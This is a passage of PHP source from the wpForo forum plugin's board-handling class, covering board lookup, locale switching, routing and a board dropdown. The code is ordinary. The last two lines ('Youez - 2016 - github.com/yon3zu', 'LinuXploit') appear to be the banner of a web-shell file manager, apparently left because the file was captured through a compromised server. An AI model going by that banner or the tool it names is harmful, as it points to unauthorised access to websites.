						'orderby'      => "( `locale` = '' OR `locale` IS NULL ) ASC, `boardid` DESC",
					];
					$board = $this->get_board( $args );
				}
				if( ! $board ) {
					$args  = [
						'is_standalone' => true,
						'status'        => true,
						'orderby'       => "( `locale` = '' OR `locale` IS NULL ) ASC, `boardid` DESC",
					];
					$board = $this->get_board( $args );
				}
			}
		}
		
		if( $board || ( $board = $this->get_board( intval( $boardid ) ) ) ) {
			$this->board = $board;
		} else {
			$this->board = $this->default->board;
		}
		
		$this->board = apply_filters( 'wpforo_board_init_current', $this->board );
		
		if( ! $this->board['locale'] ) $this->board['locale'] = wpforo_get_site_default_locale();
		
		if( ! $this->board['pageid'] ) $this->board['pageid'] = wpforo_get_option( 'wpforo_pageid', 0 );
		if( ! wpforo_is_admin() && $this->board['locale'] && WPF()->locale !== $this->board['locale'] ) {
			if( is_wpforo_url() && is_wpforo_multiboard() ) switch_to_locale( $this->board['locale'] );
		}
		
		$this->route      = ( ! $this->board['is_standalone'] ? $this->board['slug'] : '' );
		$this->full_route = rtrim(
			( strpos(
				  (string) get_option( 'permalink_structure', '' ),
				  'index.php'
			  ) !== false ? '/index.php/' : '/' ) . $this->route,
			'/\\'
		);
		## @TODO need to test with or without lang plugins
		//		if( $lang = wpforo_get_query_var_lang() ) $this->full_route = "/$lang" . $this->full_route;
		
		load_plugin_textdomain( 'wpforo', false, basename( WPFORO_DIR ) . '/languages' );
		
		$this->is_inited[ $this->board['boardid'] ] = true;
	}
	
	/**
	 * @param string|null $field
	 *
	 * @return mixed
	 */
	public function get_current( $field = null ) {
		if( is_null( $field ) ) return $this->board;
		
		return wpfval( $this->board, $field );
	}
	
	/**
	 * @param string $module_key
	 * @param array $board
	 *
	 * @return bool
	 */
	public function is_module_enabled( string $module_key, array $board = [] ): bool {
		if( ! $board ) $board = $this->get_current();
		
		return ! wpfkey( $board, 'modules', $module_key ) || wpfval( $board, 'modules', $module_key );
	}
	
	public function is_multi(): bool {
		return 1 < $this->get_count( [ 'status' => true ] );
	}
	
	public function get_active_boardids(): array {
		$boardids = [];
		$boards   = $this->get_boards( [ 'status' => true ] );
		foreach( $boards as $board ) $boardids[] = $board['boardid'];
		
		return $boardids;
	}
	
	public function dropdown( $selected = null ): string {
		if( is_null( $selected ) ) $selected = $this->get_current( 'boardid' );
		$selected = intval( $selected );
		
		$html = '';
		foreach( $this->get_boards( [ 'status' => true ] ) as $board ) {
			$html .= sprintf(
				'<option value="%1$d" %2$s>%3$s</option>',
				$board['boardid'],
				selected( $board['boardid'], $selected, false ),
				$board['title'] . '(' . strtok( $board['locale'], '_' ) . ')'
			);
		}
		
		return $html;
	}
	
	public function get_boards_pageids(): array {
		$pageids = [];
		foreach( $this->get_boards() as $board ) $pageids[] = $board['pageid'];
		
		return array_unique( $pageids );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit